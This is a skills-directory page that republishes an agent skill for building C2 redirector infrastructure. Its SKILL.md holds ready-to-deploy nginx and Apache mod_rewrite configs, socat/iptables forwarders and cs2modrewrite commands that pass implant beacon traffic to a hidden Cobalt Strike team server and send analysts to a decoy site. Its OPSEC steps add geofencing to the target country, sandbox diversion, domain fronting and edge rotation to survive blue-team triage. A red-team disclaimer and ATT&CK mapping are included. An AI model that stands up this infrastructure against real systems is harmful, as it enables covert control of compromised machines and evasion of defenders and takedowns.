Agent skill

Building C2 Redirector Infrastructure

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxypass) and Apache (modrewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC…

Apache-2.0Auto-check: notesSecurity

Install Building C2 Redirector Infrastructure

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-redirector-infrastructure -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills building-c2-redirector-infrastructure --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/building-c2-redirector-infrastructure .claude/skills/building-c2-redirector-infrastructure && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
building-c2-redirector-infrastructure
GitHub stars
34k
Token cost
~2.9k tokens
SKILL.md length
921 words
Files
5 (incl. scripts, references)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxypass) and Apache (modrewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC…

  • Works in 7 steps: Lab and firewall the team server → Dumb-pipe redirector (socat / iptables) → Filtering nginx reverse-proxy redirector → …
  • Standing up red-team C2 that must survive blue-team triage
  • SKILL.md covers Overview, When to Use, Prerequisites and Objectives, plus 4 more sections
  • Runs Python scripts from its folder; calls apt, python3 and curl; reaches legitimate-decoy.com and github.com

What it does

Building C2 Redirector Infrastructure is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxypass) and Apache (modrewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC controls like domain fronting and UA/geo filtering. Use when standing up red-team C2 that must survive blue-team triage or ensuring only profile-matching implant traffic reaches the hidden team server.

Its SKILL.md is about 2.9k tokens, which your agent loads only when the skill is triggered. The skill folder holds 6 other files, including scripts and reference files (for example `references/api-reference.md`, `references/standards.md` and `scripts/agent.py`).

It sits in Security, covering Red teaming and adversary simulation, Cloud networking and Security operations. It works with NGINX. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Standing up red-team C2 that must survive blue-team triage
  • Ensuring only profile-matching implant traffic reaches the hidden team server

Example prompts

  • “/building-c2-redirector-infrastructure”

Requirements

  • Python 3

Workflow steps

7 steps, taken from the step headings in SKILL.md.

  1. Lab and firewall the team server
  2. Dumb-pipe redirector (socat / iptables)
  3. Filtering nginx reverse-proxy redirector
  4. Apache mod_rewrite redirector
  5. Generate rules from a malleable profile
  6. Terminate TLS with Let's Encrypt
  7. Apply OPSEC controls

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    Shell commands in SKILL.md call:

    • apt
    • python3
    • curl
    • git

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • legitimate-decoy.com
    • github.com

    Also links to:

    • nginx.org
    • httpd.apache.org
    • dest-unreach.org
    • certbot.eff.org
    • ired.team

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Building C2 Redirector Infrastructure loads about 2.9k tokens when it runs, and up to ~3.9k if it reads all its reference files. Until then it costs about 110 tokens; SKILL.md has 921 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~110
When it runs · the whole SKILL.md, loaded when a task matches
~2.9k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~3.9k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: notes

The automated check noted patterns worth knowing about, such as sudo or a known installer.

  • NoteRuns commands with sudoSKILL.md:50
    sudo apt update
  • NoteRuns commands with sudoSKILL.md:51
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
  • NoteRuns commands with sudoSKILL.md:53
    sudo a2enmod rewrite proxy proxy_http ssl headers
  • NoteRuns commands with sudoSKILL.md:87
    sudo ufw default deny incoming
  • NoteRuns commands with sudoSKILL.md:88
    sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
  • NoteRuns commands with sudoSKILL.md:89
    sudo ufw allow OpenSSH
  • NoteRuns commands with sudoSKILL.md:90
    sudo ufw enable
  • NoteRuns commands with sudoSKILL.md:135
    sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
  • NoteRuns commands with sudoSKILL.md:136
    sudo nginx -t && sudo systemctl reload nginx
  • NoteRuns commands with sudoSKILL.md:155
    sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 921 words, ~2,899 tokens.

Download SKILL.mdSave it as .claude/skills/building-c2-redirector-infrastructure/SKILL.md (or your agent's skills folder). This skill also uses 4 other files; get the full folder from GitHub.
name
building-c2-redirector-infrastructure
description
Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxy_pass) and Apache (mod_rewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC controls like domain fronting and UA/geo filtering. Use when standing up red-team C2 that must survive blue-team triage or ensuring only profile-matching implant traffic reaches the hidden team server.
domain
cybersecurity
subdomain
red-teaming
tags
red-team, c2-infrastructure, redirector, nginx, apache-mod-rewrite, malleable-c2, opsec, traffic-filtering
version
1.0
author
mahipal
license
Apache-2.0
nist_csf
DE.CM-01
mitre_attack
T1090.002

Building C2 Redirector Infrastructure

Authorized Use Only: This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.

Overview

A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversaries route C2 through an intermediary node to obscure the true origin.

Redirectors come in two flavors. Dumb pipes (socat, iptables NAT) blindly forward a port and provide separation but no filtering. Smart/filtering redirectors (nginx proxy_pass, Apache mod_rewrite with [P], or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a 302 to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as cs2modrewrite automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.

This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.

When to Use

  • Standing up red-team C2 that must survive blue-team triage and domain takedown requests.
  • Separating a hidden team server from any internet-facing host during an engagement.
  • Filtering implant traffic so only profile-matching requests reach the backend, diverting scanners.
  • Adding TLS termination, domain categorization, and CDN/domain fronting to an HTTP(S) listener.
  • Teaching defenders how external-proxy C2 (T1090.002) is constructed so they can detect it.

Prerequisites

  • One or more disposable cloud VPS instances (the redirector edge) and a separate, firewalled team-server host.
  • A registered domain with controllable DNS, ideally aged/categorized.
  • Root on the redirector host. Install the web server and TLS tooling:
    bash
    # Debian/Ubuntu redirector
    sudo apt update
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
    # Enable Apache proxy modules if using mod_rewrite redirector
    sudo a2enmod rewrite proxy proxy_http ssl headers
  • The C2 framework's Malleable C2 profile (Cobalt Strike .profile, Sliver/Havoc HTTP profile) defining URIs, User-Agent, and headers.
  • cs2modrewrite to auto-generate rules from a Cobalt Strike profile:
    bash
    git clone https://github.com/threatexpress/cs2modrewrite
  • Firewall the team server so it only accepts the redirector's source IP on the C2 port.

Objectives

  • Deploy a dumb-pipe redirector (socat/iptables) for fast port separation.
  • Deploy a filtering nginx reverse-proxy redirector keyed to a malleable profile.
  • Deploy an Apache mod_rewrite redirector with [P] proxying and 302 decoy fallback.
  • Auto-generate redirector rules from a Cobalt Strike profile with cs2modrewrite.
  • Terminate TLS with Let's Encrypt and harden the public edge.
  • Apply OPSEC: header/UA validation, geo filtering, decoy diversion, and infra rotation.
Show full SKILL.md (420 more words)Show less

MITRE ATT&CK Mapping

Technique IDOfficial NameRelevance
T1090.002Proxy: External ProxyThe redirector is an external intermediary that proxies C2 to hide the team server
T1090.004Proxy: Domain FrontingCDN fronting routes beacon traffic through a trusted high-reputation domain
T1071.001Application Layer Protocol: Web ProtocolsC2 is tunneled over HTTP/HTTPS shaped by the malleable profile
T1573.002Encrypted Channel: Asymmetric CryptographyTLS termination at the redirector encrypts the beacon channel
T1583.006Acquire Infrastructure: Web ServicesDisposable VPS/CDN edges are acquired for resilient C2

Workflow

1. Lab and firewall the team server

Place the team server on a private host. Restrict its C2 port to the redirector's IP only.

bash
# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. Dumb-pipe redirector (socat / iptables)

For quick separation with no filtering, forward the C2 port to the team server.

bash
# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443

# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. Filtering nginx reverse-proxy redirector

Only proxy requests whose URI matches the malleable profile; send everything else a 302 to a decoy. Replace the location regex and User-Agent with values from your profile.

nginx
# /etc/nginx/sites-available/redirector.conf
server {
    listen 443 ssl;
    server_name cdn.example.com;

    ssl_certificate     /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;

    # Proxy ONLY profile-matching C2 URIs to the hidden team server
    location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
        # Require the implant's exact User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
            return 302 https://www.legitimate-decoy.com/;
        }
        proxy_pass https://10.0.0.2;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # Everything else -> benign decoy
    location / {
        return 302 https://www.legitimate-decoy.com/;
    }
}
bash
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Apache mod_rewrite redirector

Apache's [P] flag proxies matching requests to the team server; non-matches get a 302 redirect. This is the format cs2modrewrite produces.

apache
# /etc/apache2/sites-available/redirector.conf  (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
bash
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. Generate rules from a malleable profile

Let cs2modrewrite build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.

bash
cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. Terminate TLS with Let's Encrypt

Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.

bash
sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
7. Apply OPSEC controls

Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.

bash
# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/                       # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://cdn.example.com/api/v2/jobs                  # expect proxied response

Tools and Resources

ToolPurposeSource
nginxFiltering reverse-proxy redirectorhttps://nginx.org/
Apache mod_rewrite[P] proxy + 302 decoy redirectorhttps://httpd.apache.org/docs/current/mod/mod_rewrite.html
cs2modrewriteGenerate Apache/nginx rules from CS profilehttps://github.com/threatexpress/cs2modrewrite
RedWardenMalleable-aware filtering C2 reverse proxyhttps://github.com/mgeeky/RedWarden
rediAutomated nginx + Let's Encrypt CS redirectorhttps://github.com/taherio/redi
socatDumb-pipe TCP forwarderhttp://www.dest-unreach.org/socat/
Let's Encrypt / certbotFree TLS certificateshttps://certbot.eff.org/
ired.teamRed-team infrastructure referencehttps://www.ired.team/offensive-security/red-team-infrastructure

Validation Criteria

  • Team server firewalled to accept only the redirector source IP on the C2 port.
  • Redirector deployed (dumb pipe and/or filtering reverse proxy).
  • Filter rules derived from the actual malleable C2 profile (URI + User-Agent + headers).
  • Non-matching requests return a 302 to a benign decoy site (verified with curl).
  • Matching beacon requests are proxied to the hidden team server (verified with curl).
  • Valid TLS certificate issued and auto-renewal confirmed.
  • OPSEC controls applied (UA/header validation, geofencing, decoy diversion).
  • Domain categorization / CDN fronting considered where applicable.
  • Infrastructure rotation and decommissioning plan documented.
  • All activity confined to the authorized engagement scope.

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 4 other files (scripts, references) in skills/building-c2-redirector-infrastructure of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • references/standards.md
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

Building C2 Redirector Infrastructure next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Building C2 Redirector Infrastructure compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Building C2 Redirector Infrastructure this skillmukul975/Anthropic-Cybersecurity-Skills34k—~2.9kAutomated safety check: NotesApache-2.0
Incident Response NetworkLeoYeAI/openclaw-master-skills2.2k—~5kAutomated safety check: PassApache-2.0
Cb Security HardeningBlkLeg/CircuitBreaker201—~2.1kAutomated safety check: PassMIT
Detecting Directory Listingjeremylongshore/tons-of-skills-marketplace2.8k—~1.8kAutomated safety check: NotesMIT
Azure Kusto Irqlmicrosoft/GitHub-Copilot-for-Azure255—~2.6kAutomated safety check: PassMIT
Cloud Defensetransilienceai/communitytools563—~476Automated safety check: PassMIT

Similar skills

  • Incident Response Network

    LeoYeAI/openclaw-master-skills

    Network forensics evidence collection and analysis during security incidents.

    2.2k GitHub stars~5k tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Cb Security Hardening

    BlkLeg/CircuitBreaker

    Enforces Circuit Breaker security hardening conventions across backend, frontend, Docker, and nginx.

    201 GitHub stars~2.1k tokensUpdated 5 days ago
    Backend & APIsAuto-check passed
  • Detecting Directory Listing

    jeremylongshore/tons-of-skills-marketplace

    Probe a target for directories that return auto-generated index listings instead of denying or serving a specific file — exposes the full file tree under any reachable directory, including files the…

    2.8k GitHub stars~1.8k tokensUpdated yesterday
    DevOps & CloudAuto-check: notes
  • Azure Kusto Irql

    microsoft/GitHub-Copilot-for-Azure

    Official

    Compose IRQL (Incident Response Query Language) queries for Kusto cybersecurity investigations.

    255 GitHub stars~2.6k tokensUpdated yesterday
    DevOps & CloudAuto-check passed
  • Cloud Defense

    transilienceai/communitytools

    Detect and break the cloud post-compromise attack chain (AWS / Azure / GCP) — per-stage CloudTrail / Activity-Log / Audit-Log detection signals and the preventive controls that close each step.

    563 GitHub stars~476 tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Investigate security incidents in Amazon Web Services -- reconstruct attacker activity from CloudTrail, VPC Flow Logs, and GuardDuty, anchor the investigation on the compromised principal (access…

    157 GitHub stars~4.8k tokensUpdated 1 mo ago
    SecurityAuto-check passed

More from mukul975/Anthropic-Cybersecurity-Skills

All 644 skills in this repo
  • Campaign Attribution Evidence Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.

    34k GitHub stars~2.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Go Malware Analysis in Ghidra

    mukul975/Anthropic-Cybersecurity-Skills

    Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • LNK and Jump List Forensics

    mukul975/Anthropic-Cybersecurity-Skills

    Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • Malware Persistence Analysis with Autoruns

    mukul975/Anthropic-Cybersecurity-Skills

    Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.

    34k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • NTFS MFT Deleted File Recovery

    mukul975/Anthropic-Cybersecurity-Skills

    Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.

    34k GitHub stars~2.7k tokensUpdated 1 mo ago
    Auto-check passed
  • Network Covert Channel Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.

    34k GitHub stars~2k tokensUpdated 1 mo ago
    Auto-check passed

Works with

Questions about Building C2 Redirector Infrastructure

What does Building C2 Redirector Infrastructure do?

Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxypass) and Apache (modrewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC…. Building C2 Redirector Infrastructure is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxypass) and Apache (modrewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC controls like domain fronting and UA/geo filtering.

When should I use Building C2 Redirector Infrastructure?

Building C2 Redirector Infrastructure fits situations like: standing up red-team C2 that must survive blue-team triage; ensuring only profile-matching implant traffic reaches the hidden team server.

How do I install Building C2 Redirector Infrastructure in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-redirector-infrastructure -a claude-code`. Or copy the skill folder (skills/building-c2-redirector-infrastructure in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/building-c2-redirector-infrastructure in your project. Claude Code loads it when a task matches its description.

How do I install Building C2 Redirector Infrastructure in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-redirector-infrastructure -a codex`. Or copy the skill folder (skills/building-c2-redirector-infrastructure in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/building-c2-redirector-infrastructure in your project. Codex loads it when a task matches its description.

Can I use Building C2 Redirector Infrastructure in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-redirector-infrastructure -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/building-c2-redirector-infrastructure, .gemini/skills/building-c2-redirector-infrastructure, .github/skills/building-c2-redirector-infrastructure and .opencode/skills/building-c2-redirector-infrastructure in your project.

What does Building C2 Redirector Infrastructure need to run?

Going by SKILL.md and its folder, Building C2 Redirector Infrastructure needs Python for the scripts in its folder and the command-line tools its instructions call (apt, python3, curl and git). Our summary lists: Python 3.

Does Building C2 Redirector Infrastructure access the network?

SKILL.md names 7 domains. In commands or code: legitimate-decoy.com and github.com; the agent is likely to contact these when it follows the instructions. As links in the text: nginx.org, httpd.apache.org, dest-unreach.org, certbot.eff.org and ired.team. This is read from the text; nothing was executed.

Is Building C2 Redirector Infrastructure safe to install?

Our automated static check of SKILL.md found notes only (runs commands with sudo), nothing it rates as a warning. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Building C2 Redirector Infrastructure use?

Building C2 Redirector Infrastructure is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Building C2 Redirector Infrastructure use?

About 2.9k tokens (SKILL.md is roughly 12k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 1k tokens, read only when the agent opens those files.

What are the alternatives to Building C2 Redirector Infrastructure?

Skills that share tags, products or a category with Building C2 Redirector Infrastructure: Incident Response Network (LeoYeAI/openclaw-master-skills, 2.2k stars), Cb Security Hardening (BlkLeg/CircuitBreaker, 201 stars), Detecting Directory Listing (jeremylongshore/tons-of-skills-marketplace, 2.8k stars) and Azure Kusto Irql (microsoft/GitHub-Copilot-for-Azure, 255 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Building C2 Redirector Infrastructure?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 34,116 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.